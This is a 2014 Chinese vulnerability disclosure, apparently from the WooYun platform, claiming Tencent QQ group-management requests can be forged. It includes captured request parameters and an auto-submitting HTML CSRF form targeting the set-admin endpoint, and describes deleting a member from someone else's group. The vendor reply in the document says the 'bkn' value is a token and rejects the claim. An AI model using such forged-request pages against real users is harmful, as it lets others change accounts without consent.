腾讯QQ群可csrf任意设置管理员

漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

腾讯,“张嘴吃药”

详细说明:

http://qun.qq.com/manage.html#click



1.png





new? 新功能?



我们来看看正常流程,我们找一个自己的群,然后设置下



就这个把。。。



网络安全高端研究(237077239)





我要飞的对象是



不经常浮水的





乱飞会挨叼的,o(∩_∩)o







就他把,我们飞了他



2.png







然后Fiddler抓包



看看流程



发现他发送了如下请求



gc

237077239



ul

1092612809



flag

0



bkn

1495574789





然后看了下

3.png









gc=QQ群号

ul=QQ号码

bkn=一串数字(无针对任何验证)



我们试试能不能修改删除某个群的成员,我跨群删除试试(必须要有管理员权限哦o(∩_∩)o 十八岁一下请勿模仿)



4.png



好,就这个吧



猎鹰科技官方群 Q群为:136061686





删除这个“╄→⑤冄戀鯖” QQ为:1071318816



5.png





我们再换回





网络安全高端研究(237077239)





然后随便找一个





修改前:



6.png







修改后:

7.png





8.png





可以看到已经删除鸟。。。。



好神奇





设置管理员也是这个请求,木有token





构造csrf:



<html>

<form name="comer" action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST">

<input type="hidden" name="gc" value="QQ群号" />

<input type="hidden" name="ul" value="QQ号码" />


<input type="hidden" name="op" value="1(给予1的待遇,也就是管理员,第一位)" />


<input type="hidden" name="bkn" value="1495574789 (随机参数)" />


<input type="submit" />

</form>

<script>

document.comer.submit();

</script>

</html>





好的,了解完这些我们可以构造csrf来看下是否可以。。。



其实5944和那个什么美国免费空间就可以上传html了-。-



用我自己的群测试把





9.png





我的QQ群是: 285273***



然后我要设置的管理员的QQ是:858757***

10.png





就我一个群主而已,我们构造csrf代码把。。



<html>

<form name="comer" action="http://qun.qq.com/cgi-bin/qun_mgr/set_group_admin
" method="POST">

<input type="hidden" name="gc" value="285273***" />

<input type="hidden" name="ul" value="858757***" />


<input type="hidden" name="op" value="1" />


<input type="hidden" name="bkn" value="1495574789" />


<input type="submit" />

</form>

<script>

document.comer.submit();

</script>

</html>







11.png





我们访问下看看

12.png





算了,由于时间关系我们



随便搞个把



13.png









漏洞证明:

13.png

修复方案:

null

版权声明:转载请注明来源 小龙@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-20 10:55

厂商回复:

非常感谢您的报告,经评估该问题并不存在,bkn即token,故此忽略。如果您有任何的疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价: